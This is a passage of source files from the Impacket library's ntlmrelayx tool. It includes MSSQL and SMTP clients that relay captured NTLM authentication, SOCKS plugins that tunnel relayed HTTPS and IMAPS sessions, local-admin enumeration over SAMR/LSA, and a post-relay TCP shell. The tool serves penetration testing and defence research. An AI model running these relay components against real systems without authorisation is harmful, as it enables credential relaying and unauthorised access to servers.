98 | if 'AUTH=NTLM' not in self.session.capabilities:
99 | LOG.error('IMAP server does not support NTLM authentication!')
100 | return False
101 | return True
102 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/ntlmrelayx/clients/mssqlrelayclient.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # MSSQL (TDS) Protocol Client
11 | # MSSQL client for relaying NTLMSSP authentication to MSSQL servers
12 | #
13 | # Author:
14 | # Alberto Solino (@agsolino)
15 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
16 | #
17 | # ToDo:
18 | # [ ] Handle SQL Authentication
19 | #
20 | import random
21 | import string
22 | from struct import unpack
23 |
24 | from impacket import LOG
25 | from impacket.examples.ntlmrelayx.clients import ProtocolClient
26 | from impacket.tds import MSSQL, DummyPrint, TDS_ENCRYPT_REQ, TDS_ENCRYPT_OFF, TDS_PRE_LOGIN, TDS_LOGIN, TDS_INIT_LANG_FATAL, \
27 | TDS_ODBC_ON, TDS_INTEGRATED_SECURITY_ON, TDS_LOGIN7, TDS_SSPI, TDS_LOGINACK_TOKEN
28 | from impacket.ntlm import NTLMAuthChallenge
29 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
30 | from impacket.spnego import SPNEGO_NegTokenResp
31 |
32 | try:
33 | from OpenSSL import SSL
34 | except Exception:
35 | LOG.critical("pyOpenSSL is not installed, can't continue")
36 |
37 | PROTOCOL_CLIENT_CLASS = "MSSQLRelayClient"
38 |
39 | class MYMSSQL(MSSQL):
40 | def __init__(self, address, port=1433, rowsPrinter=DummyPrint()):
41 | MSSQL.__init__(self,address, port, rowsPrinter)
42 | self.resp = None
43 | self.sessionData = {}
44 |
45 | def initConnection(self):
46 | self.connect()
47 | #This is copied from tds.py
48 | resp = self.preLogin()
49 | if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF:
50 | LOG.debug("Encryption required, switching to TLS")
51 |
52 | # Switching to TLS now
53 | ctx = SSL.Context(SSL.TLS_METHOD)
54 | ctx.set_cipher_list('ALL:@SECLEVEL=0'.encode('utf-8'))
55 | tls = SSL.Connection(ctx,None)
56 | tls.set_connect_state()
57 | while True:
58 | try:
59 | tls.do_handshake()
60 | except SSL.WantReadError:
61 | data = tls.bio_read(4096)
62 | self.sendTDS(TDS_PRE_LOGIN, data,0)
63 | tds = self.recvTDS()
64 | tls.bio_write(tds['Data'])
65 | else:
66 | break
67 |
68 | # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement,
69 | # Transport Layer Security(TLS), limit data fragments to 16k in size.
70 | self.packetSize = 16*1024-1
71 | self.tlsSocket = tls
72 | self.resp = resp
73 | return True
74 |
75 | def sendNegotiate(self,negotiateMessage):
76 | #Also partly copied from tds.py
77 | login = TDS_LOGIN()
78 |
79 | login['HostName'] = (''.join([random.choice(string.ascii_letters) for _ in range(8)])).encode('utf-16le')
80 | login['AppName'] = (''.join([random.choice(string.ascii_letters) for _ in range(8)])).encode('utf-16le')
81 | login['ServerName'] = self.server.encode('utf-16le')
82 | login['CltIntName'] = login['AppName']
83 | login['ClientPID'] = random.randint(0,1024)
84 | login['PacketSize'] = self.packetSize
85 | login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON | TDS_INTEGRATED_SECURITY_ON
86 |
87 | # NTLMSSP Negotiate
88 | login['SSPI'] = negotiateMessage
89 | login['Length'] = len(login.getData())
90 |
91 | # Send the NTLMSSP Negotiate
92 | self.sendTDS(TDS_LOGIN7, login.getData())
93 |
94 | # According to the specs, if encryption is not required, we must encrypt just
95 | # the first Login packet :-o
96 | if self.resp['Encryption'] == TDS_ENCRYPT_OFF:
97 | self.tlsSocket = None
98 |
99 | tds = self.recvTDS()
100 | self.sessionData['NTLM_CHALLENGE'] = tds
101 |
102 | challenge = NTLMAuthChallenge()
103 | challenge.fromString(tds['Data'][3:])
104 | #challenge.dump()
105 |
106 | return challenge
107 |
108 | def sendAuth(self,authenticateMessageBlob, serverChallenge=None):
109 | if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
110 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
111 | token = respToken2['ResponseToken']
112 | else:
113 | token = authenticateMessageBlob
114 |
115 | self.sendTDS(TDS_SSPI, token)
116 | tds = self.recvTDS()
117 | self.replies = self.parseReply(tds['Data'])
118 | if TDS_LOGINACK_TOKEN in self.replies:
119 | #Once we are here, there is a full connection and we can
120 | #do whatever the current user has rights to do
121 | self.sessionData['AUTH_ANSWER'] = tds
122 | return None, STATUS_SUCCESS
123 | else:
124 | self.printReplies()
125 | return None, STATUS_ACCESS_DENIED
126 |
127 | def close(self):
128 | return self.disconnect()
129 |
130 |
131 | class MSSQLRelayClient(ProtocolClient):
132 | PLUGIN_NAME = "MSSQL"
133 |
134 | def __init__(self, serverConfig, targetHost, targetPort = 1433, extendedSecurity=True ):
135 | ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity)
136 | self.extendedSecurity = extendedSecurity
137 |
138 | self.domainIp = None
139 | self.machineAccount = None
140 | self.machineHashes = None
141 |
142 | def initConnection(self):
143 | self.session = MYMSSQL(self.targetHost, self.targetPort)
144 | self.session.initConnection()
145 | return True
146 |
147 | def keepAlive(self):
148 | # Don't know yet what needs to be done for TDS
149 | pass
150 |
151 | def killConnection(self):
152 | if self.session is not None:
153 | self.session.disconnect()
154 | self.session = None
155 |
156 | def sendNegotiate(self, negotiateMessage):
157 | return self.session.sendNegotiate(negotiateMessage)
158 |
159 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
160 | self.sessionData = self.session.sessionData
161 | return self.session.sendAuth(authenticateMessageBlob, serverChallenge)
162 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/ntlmrelayx/clients/smtprelayclient.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # SMTP Protocol Client
11 | # SMTP client for relaying NTLMSSP authentication to mailservers, for example Exchange
12 | #
13 | # Author:
14 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
15 | # Alberto Solino (@agsolino)
16 | #
17 | import smtplib
18 | import base64
19 | from struct import unpack
20 |
21 | from impacket import LOG
22 | from impacket.examples.ntlmrelayx.clients import ProtocolClient
23 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
24 | from impacket.ntlm import NTLMAuthChallenge
25 | from impacket.spnego import SPNEGO_NegTokenResp
26 |
27 | PROTOCOL_CLIENT_CLASSES = ["SMTPRelayClient"]
28 |
29 | class SMTPRelayClient(ProtocolClient):
30 | PLUGIN_NAME = "SMTP"
31 |
32 | def __init__(self, serverConfig, target, targetPort = 25, extendedSecurity=True ):
33 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
34 |
35 | def initConnection(self):
36 | self.session = smtplib.SMTP(self.targetHost,self.targetPort)
37 | # Turn on to debug SMTP messages
38 | # self.session.debuglevel = 3
39 | self.session.ehlo()
40 |
41 | if 'AUTH NTLM' not in self.session.ehlo_resp:
42 | LOG.error('SMTP server does not support NTLM authentication!')
43 | return False
44 | return True
45 |
46 | def sendNegotiate(self,negotiateMessage):
47 | negotiate = base64.b64encode(negotiateMessage)
48 | self.session.putcmd('AUTH NTLM')
49 | code, resp = self.session.getreply()
50 | if code != 334:
51 | LOG.error('SMTP Client error, expected 334 NTLM supported, got %d %s ' % (code, resp))
52 | return False
53 | else:
54 | self.session.putcmd(negotiate)
55 | try:
56 | code, serverChallengeBase64 = self.session.getreply()
57 | serverChallenge = base64.b64decode(serverChallengeBase64)
58 | challenge = NTLMAuthChallenge()
59 | challenge.fromString(serverChallenge)
60 | return challenge
61 | except (IndexError, KeyError, AttributeError):
62 | LOG.error('No NTLM challenge returned from SMTP server')
63 | raise
64 |
65 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
66 | if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
67 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
68 | token = respToken2['ResponseToken']
69 | else:
70 | token = authenticateMessageBlob
71 | auth = base64.b64encode(token)
72 | self.session.putcmd(auth)
73 | typ, data = self.session.getreply()
74 | if typ == 235:
75 | self.session.state = 'AUTH'
76 | return None, STATUS_SUCCESS
77 | else:
78 | LOG.error('SMTP: %s' % ''.join(data))
79 | return None, STATUS_ACCESS_DENIED
80 |
81 | def killConnection(self):
82 | if self.session is not None:
83 | self.session.close()
84 | self.session = None
85 |
86 | def keepAlive(self):
87 | # Send a NOOP
88 | self.session.noop()
89 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/ntlmrelayx/servers/__init__.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | from impacket.examples.ntlmrelayx.servers.httprelayserver import HTTPRelayServer
10 | from impacket.examples.ntlmrelayx.servers.smbrelayserver import SMBRelayServer
11 | from impacket.examples.ntlmrelayx.servers.wcfrelayserver import WCFRelayServer
12 | from impacket.examples.ntlmrelayx.servers.rawrelayserver import RAWRelayServer
--------------------------------------------------------------------------------
/plugins/impacket/examples/ntlmrelayx/servers/socksplugins/__init__.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | import os
10 | import sys
11 | import pkg_resources
12 |
13 | SOCKS_RELAYS = set()
14 |
15 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx.servers', 'socksplugins'):
16 | if file.find('__') >= 0 or file.endswith('.py') is False:
17 | continue
18 | # This seems to be None in some case (py3 only)
19 | # __spec__ is py3 only though, but I haven't seen this being None on py2
20 | # so it should cover all cases.
21 | try:
22 | package = __spec__.name # Python 3
23 | except NameError:
24 | package = __package__ # Python 2
25 | __import__(package + '.' + os.path.splitext(file)[0])
26 | module = sys.modules[package + '.' + os.path.splitext(file)[0]]
27 | pluginClass = getattr(module, getattr(module, 'PLUGIN_CLASS'))
28 | SOCKS_RELAYS.add(pluginClass)
29 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/ntlmrelayx/servers/socksplugins/https.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # Socks Proxy for the HTTPS Protocol
11 | #
12 | # A simple SOCKS server that proxies a connection to relayed HTTPS connections
13 | #
14 | # Author:
15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
16 | #
17 | from impacket import LOG
18 | from impacket.examples.ntlmrelayx.servers.socksplugins.http import HTTPSocksRelay
19 | from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin
20 | from OpenSSL import SSL
21 |
22 | # Besides using this base class you need to define one global variable when
23 | # writing a plugin:
24 | PLUGIN_CLASS = "HTTPSSocksRelay"
25 | EOL = '\r\n'
26 |
27 | class HTTPSSocksRelay(SSLServerMixin, HTTPSocksRelay):
28 | PLUGIN_NAME = 'HTTPS Socks Plugin'
29 | PLUGIN_SCHEME = 'HTTPS'
30 |
31 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
32 | HTTPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)
33 |
34 | @staticmethod
35 | def getProtocolPort():
36 | return 443
37 |
38 | def skipAuthentication(self):
39 | LOG.debug('Wrapping client connection in TLS/SSL')
40 | self.wrapClientConnection()
41 | if not HTTPSocksRelay.skipAuthentication(self):
42 | # Shut down TLS connection
43 | self.socksSocket.shutdown()
44 | return False
45 | return True
46 |
47 | def tunnelConnection(self):
48 | while True:
49 | try:
50 | data = self.socksSocket.recv(self.packetSize)
51 | except SSL.ZeroReturnError:
52 | # The SSL connection was closed, return
53 | return
54 | # Pass the request to the server
55 | tosend = self.prepareRequest(data)
56 | self.relaySocket.send(tosend)
57 | # Send the response back to the client
58 | self.transferResponse()
59 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/ntlmrelayx/servers/socksplugins/imaps.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # Socks Proxy for the IMAPS Protocol
11 | #
12 | # A simple SOCKS server that proxies a connection to relayed IMAPS connections
13 | #
14 | # Author:
15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
16 | #
17 | from impacket import LOG
18 | from impacket.examples.ntlmrelayx.servers.socksplugins.imap import IMAPSocksRelay
19 | from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin
20 | from OpenSSL import SSL
21 |
22 | # Besides using this base class you need to define one global variable when
23 | # writing a plugin:
24 | PLUGIN_CLASS = "IMAPSSocksRelay"
25 | EOL = '\r\n'
26 |
27 | class IMAPSSocksRelay(SSLServerMixin, IMAPSocksRelay):
28 | PLUGIN_NAME = 'IMAPS Socks Plugin'
29 | PLUGIN_SCHEME = 'IMAPS'
30 |
31 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
32 | IMAPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)
33 |
34 | @staticmethod
35 | def getProtocolPort():
36 | return 993
37 |
38 | def skipAuthentication(self):
39 | LOG.debug('Wrapping IMAP client connection in TLS/SSL')
40 | self.wrapClientConnection()
41 | try:
42 | if not IMAPSocksRelay.skipAuthentication(self):
43 | # Shut down TLS connection
44 | self.socksSocket.shutdown()
45 | return False
46 | except Exception as e:
47 | LOG.debug('IMAPS: %s' % str(e))
48 | return False
49 | # Change our outgoing socket to the SSL object of IMAP4_SSL
50 | self.relaySocket = self.session.sslobj
51 | return True
52 |
53 | def tunnelConnection(self):
54 | keyword = ''
55 | tag = ''
56 | while True:
57 | try:
58 | data = self.socksSocket.recv(self.packetSize)
59 | except SSL.ZeroReturnError:
60 | # The SSL connection was closed, return
61 | break
62 | # Set the new keyword, unless it is false, then break out of the function
63 | result = self.processTunnelData(keyword, tag, data)
64 | if result is False:
65 | break
66 | # If its not false, it's a tuple with the keyword and tag
67 | keyword, tag = result
68 |
69 | if tag != '':
70 | # Store the tag in the session so we can continue
71 | tag = int(tag)
72 | if self.idleState is True:
73 | self.relaySocket.sendall('DONE%s' % EOL)
74 | self.relaySocketFile.readline()
75 |
76 | if self.shouldClose:
77 | tag += 1
78 | self.relaySocket.sendall('%s CLOSE%s' % (tag, EOL))
79 | self.relaySocketFile.readline()
80 |
81 | self.session.tagnum = tag + 1
82 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/ntlmrelayx/utils/__init__.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | pass
10 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/ntlmrelayx/utils/enum.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # Config utilities
11 | #
12 | # Helpful enum methods for discovering local admins through SAMR and LSAT
13 | #
14 | # Author:
15 | # Ronnie Flathers / @ropnop
16 | #
17 | from impacket.dcerpc.v5 import transport, lsat, samr, lsad
18 | from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
19 |
20 |
21 | class EnumLocalAdmins:
22 | def __init__(self, smbConnection):
23 | self.__smbConnection = smbConnection
24 | self.__samrBinding = r'ncacn_np:445[\pipe\samr]'
25 | self.__lsaBinding = r'ncacn_np:445[\pipe\lsarpc]'
26 |
27 | def __getDceBinding(self, strBinding):
28 | rpc = transport.DCERPCTransportFactory(strBinding)
29 | rpc.set_smb_connection(self.__smbConnection)
30 | return rpc.get_dce_rpc()
31 |
32 | def getLocalAdmins(self):
33 | adminSids = self.__getLocalAdminSids()
34 | adminNames = self.__resolveSids(adminSids)
35 | return adminSids, adminNames
36 |
37 | def __getLocalAdminSids(self):
38 | dce = self.__getDceBinding(self.__samrBinding)
39 | dce.connect()
40 | dce.bind(samr.MSRPC_UUID_SAMR)
41 | resp = samr.hSamrConnect(dce)
42 | serverHandle = resp['ServerHandle']
43 |
44 | resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, 'Builtin')
45 | resp = samr.hSamrOpenDomain(dce, serverHandle=serverHandle, domainId=resp['DomainId'])
46 | domainHandle = resp['DomainHandle']
47 | resp = samr.hSamrOpenAlias(dce, domainHandle, desiredAccess=MAXIMUM_ALLOWED, aliasId=544)
48 | resp = samr.hSamrGetMembersInAlias(dce, resp['AliasHandle'])
49 | memberSids = []
50 | for member in resp['Members']['Sids']:
51 | memberSids.append(member['SidPointer'].formatCanonical())
52 | dce.disconnect()
53 | return memberSids
54 |
55 | def __resolveSids(self, sids):
56 | dce = self.__getDceBinding(self.__lsaBinding)
57 | dce.connect()
58 | dce.bind(lsat.MSRPC_UUID_LSAT)
59 | resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
60 | policyHandle = resp['PolicyHandle']
61 | resp = lsat.hLsarLookupSids(dce, policyHandle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
62 | names = []
63 | for n, item in enumerate(resp['TranslatedNames']['Names']):
64 | names.append("{}\\{}".format(resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name']))
65 | dce.disconnect()
66 | return names
67 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/ntlmrelayx/utils/ssl.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # SSL utilities
11 | #
12 | # Various functions and classes for SSL support:
13 | # - generating certificates
14 | # - creating SSL capable SOCKS protocols
15 | #
16 | # Most of the SSL generation example code comes from the pyopenssl examples
17 | # https://github.com/pyca/pyopenssl/blob/master/examples/certgen.py
18 | #
19 | # Made available under the Apache license by the pyopenssl team
20 | # See https://github.com/pyca/pyopenssl/blob/master/LICENSE
21 | #
22 | # Author:
23 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
24 | #
25 | from OpenSSL import crypto, SSL
26 | from impacket import LOG
27 |
28 | # This certificate is not supposed to be exposed on the network
29 | # but only used for the local SOCKS plugins
30 | # therefore, for now we don't bother with a CA and with hosts/hostnames matching
31 | def generateImpacketCert(certname='/tmp/impacket.crt'):
32 | # Create a private key
33 | pkey = crypto.PKey()
34 | pkey.generate_key(crypto.TYPE_RSA, 2048)
35 |
36 | # Create the certificate
37 | cert = crypto.X509()
38 | cert.gmtime_adj_notBefore(0)
39 | # Valid for 5 years
40 | cert.gmtime_adj_notAfter(60*60*24*365*5)
41 | subj = cert.get_subject()
42 | subj.CN = 'impacket'
43 | cert.set_pubkey(pkey)
44 | cert.sign(pkey, "sha256")
45 | # We write both from the same file
46 | with open(certname, 'w') as certfile:
47 | certfile.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, pkey).decode('utf-8'))
48 | certfile.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('utf-8'))
49 | LOG.debug('Wrote certificate to %s' % certname)
50 |
51 | # Class to wrap the client socket in SSL when serving as a SOCKS server
52 | class SSLServerMixin(object):
53 | # This function will wrap the socksSocket in an SSL layer
54 | def wrapClientConnection(self, cert='/tmp/impacket.crt'):
55 | # Create a context, we don't really care about the SSL/TLS
56 | # versions used since it is only intended for local use and thus
57 | # doesn't have to be super-secure
58 | ctx = SSL.Context(SSL.TLS_METHOD)
59 | ctx.set_cipher_list('ALL:@SECLEVEL=0'.encode('utf-8'))
60 | try:
61 | ctx.use_privatekey_file(cert)
62 | ctx.use_certificate_file(cert)
63 | except SSL.Error:
64 | LOG.info('SSL requested - generating self-signed certificate in /tmp/impacket.crt')
65 | generateImpacketCert(cert)
66 | ctx.use_privatekey_file(cert)
67 | ctx.use_certificate_file(cert)
68 |
69 | sslSocket = SSL.Connection(ctx, self.socksSocket)
70 | sslSocket.set_accept_state()
71 |
72 | # Now set this property back to the SSL socket instead of the regular one
73 | self.socksSocket = sslSocket
74 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/ntlmrelayx/utils/tcpshell.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # TCP interactive shell
11 | #
12 | # Launches a TCP shell for interactive use of clients
13 | # after successful relaying
14 | #
15 | # Author:
16 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
17 | #
18 | import socket
19 | #Default listen port
20 | port = 11000
21 | class TcpShell:
22 | def __init__(self):
23 | global port
24 | self.port = port
25 | #Increase the default port for the next attack
26 | port += 1
27 |
28 | def listen(self):
29 | #Set up the listening socket
30 | serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
31 | #Bind on localhost
32 | serversocket.bind(('127.0.0.1', self.port))
33 | #Don't allow a backlog
34 | serversocket.listen(0)
35 | self.connection, host = serversocket.accept()
36 | #Create file objects from the socket
37 | self.stdin = self.connection.makefile("r")
38 | self.stdout = self.connection.makefile("w")
39 |
40 | def close(self):
41 | self.stdout.close()
42 | self.stdin.close()
43 | self.connection.close()
44 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/utils.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # Utility and helper functions for the example scripts
11 | #
12 | # Author:
13 | # Martin Gallo (@martingalloar)
14 | #
15 | import re
16 |
17 |
18 | # Regular expression to parse target information
19 | target_regex = re.compile(r"(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)")
20 |
21 |
22 | # Regular expression to parse credentials information
23 | credential_regex = re.compile(r"(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?")
24 |
25 |
26 | def parse_target(target):
27 | """ Helper function to parse target information. The expected format is:
28 |
29 | <:PASSWORD>@HOSTNAME
30 |
31 | :param target: target to parse
32 | :type target: string
33 |
34 | :return: tuple of domain, username, password and remote name or IP address
35 | :rtype: (string, string, string, string)
36 | """
37 | domain, username, password, remote_name = target_regex.match(target).groups('')
38 |
39 | # In case the password contains '@'
40 | if '@' in remote_name:
41 | password = password + '@' + remote_name.rpartition('@')[0]
42 | remote_name = remote_name.rpartition('@')[2]
43 |
44 | return domain, username, password, remote_name
45 |
46 |
47 | def parse_credentials(credentials):
48 | """ Helper function to parse credentials information. The expected format is:
49 |
50 | <:PASSWORD>
51 |
52 | :param credentials: credentials to parse
53 | :type credentials: string
54 |
55 | :return: tuple of domain, username and password
56 | :rtype: (string, string, string)
57 | """
58 | domain, username, password = credential_regex.match(credentials).groups('')
59 |
60 | return domain, username, password
61 |
--------------------------------------------------------------------------------
/plugins/impacket/helper.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # Helper used to build ProtocolPackets
11 | #
12 | # Author:
13 | # Aureliano Calvo
14 | #
15 |
16 | import struct
17 | import functools
18 | from six import add_metaclass
19 |
20 | import impacket.ImpactPacket as ip
21 |
22 |
23 | def rebind(f):
24 | functools.wraps(f)
25 | def rebinder(*args, **kwargs):
26 | return f(*args, **kwargs)
27 |
28 | return rebinder
29 |
30 | class Field(object):
31 | def __init__(self, index):
32 | self.index = index
33 |
34 | def __call__(self, k, d):
35 | getter = rebind(self.getter)
36 | getter_name = "get_" + k
37 | getter.__name__ = getter_name
38 | getter.__doc__ = "Get the %s field" % k
39 | d[getter_name] = getter
40 |
41 | setter = rebind(self.setter)
42 | setter_name = "set_" + k
43 | setter.__name__ = setter_name
44 | setter.__doc__ = "Set the %s field" % k
45 | d["set_" + k] = setter
46 |
47 | d[k] = property(getter, setter, doc="%s property" % k)
48 |
49 | class Bit(Field):
50 | def __init__(self, index, bit_number):
51 | Field.__init__(self, index)
52 | self.mask = 2 ** bit_number
53 | self.off_mask = (~self.mask) & 0xff
54 |
55 | def getter(self, o):
56 | return (o.header.get_byte(self.index) & self.mask) != 0
57 |
58 | def setter(self, o, value=True):
59 | b = o.header.get_byte(self.index)
60 | if value:
61 | b |= self.mask
62 | else:
63 | b &= self.off_mask
64 |
65 | o.header.set_byte(self.index, b)
66 |
67 | class Byte(Field):
68 |
69 | def __init__(self, index):
70 | Field.__init__(self, index)
71 |
72 | def getter(self, o):
73 | return o.header.get_byte(self.index)
74 |
75 | def setter(self, o, value):
76 | o.header.set_byte(self.index, value)
77 |
78 | class Word(Field):
79 | def __init__(self, index, order="!"):
80 | Field.__init__(self, index)
81 | self.order = order
82 |
83 | def getter(self, o):
84 | return o.header.get_word(self.index, self.order)
85 |
86 | def setter(self, o, value):
87 | o.header.set_word(self.index, value, self.order)
88 |
89 | class Long(Field):
90 | def __init__(self, index, order="!"):
91 | Field.__init__(self, index)
92 | self.order = order
93 |
94 | def getter(self, o):
95 | return o.header.get_long(self.index, self.order)
96 |
97 | def setter(self, o, value):
98 | o.header.set_long(self.index, value, self.order)
99 |
100 | class ThreeBytesBigEndian(Field):
101 | def __init__(self, index):
102 | Field.__init__(self, index)
103 |
104 | def getter(self, o):
105 | b = ip.array_tobytes(o.header.get_bytes()[self.index:self.index+3])
106 | #unpack requires a string argument of length 4 and b is 3 bytes long
107 | (value,) = struct.unpack('!L', b'\x00'+b)
108 | return value
109 |
110 | def setter(self, o, value):
111 | # clear the bits
112 | mask = ((~0xFFFFFF00) & 0xFF)
113 | masked = o.header.get_long(self.index, ">") & mask
114 | # set the bits
115 | nb = masked | ((value & 0x00FFFFFF) << 8)
116 | o.header.set_long(self.index, nb, ">")
117 |
118 |
119 | class ProtocolPacketMetaklass(type):
120 | def __new__(cls, name, bases, d):
121 | d["_fields"] = []
122 | items = list(d.items())
123 | if not object in bases:
124 | bases += (object,)
125 | for k,v in items:
126 | if isinstance(v, Field):
127 | d["_fields"].append(k)
128 | v(k, d)
129 |
130 | d["_fields"].sort()
131 |
132 | def _fields_repr(self):
133 | return " ".join( "%s:%s" % (f, repr(getattr(self, f))) for f in self._fields )
134 | def __repr__(self):
135 |
136 | return "<%(name)s %(fields)s \nchild:%(r_child)s>" % {
137 | "name": name,
138 | "fields": self._fields_repr(),
139 | "r_child": repr(self.child()),
140 | }
141 |
142 | d["_fields_repr"] = _fields_repr
143 | d["__repr__"] = __repr__
144 |
145 | return type.__new__(cls, name, bases, d)
146 |
147 | @add_metaclass(ProtocolPacketMetaklass)
148 | class ProtocolPacket(ip.ProtocolPacket):
149 | def __init__(self, buff = None):
150 | ip.ProtocolPacket.__init__(self, self.header_size, self.tail_size)
151 | if buff:
152 | self.load_packet(buff)
153 |
--------------------------------------------------------------------------------
/plugins/impacket/krb5/__init__.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | pass
10 |
--------------------------------------------------------------------------------
/plugins/impacket/ldap/__init__.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | pass
11 |
--------------------------------------------------------------------------------
/plugins/impacket/pcap_linktypes.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
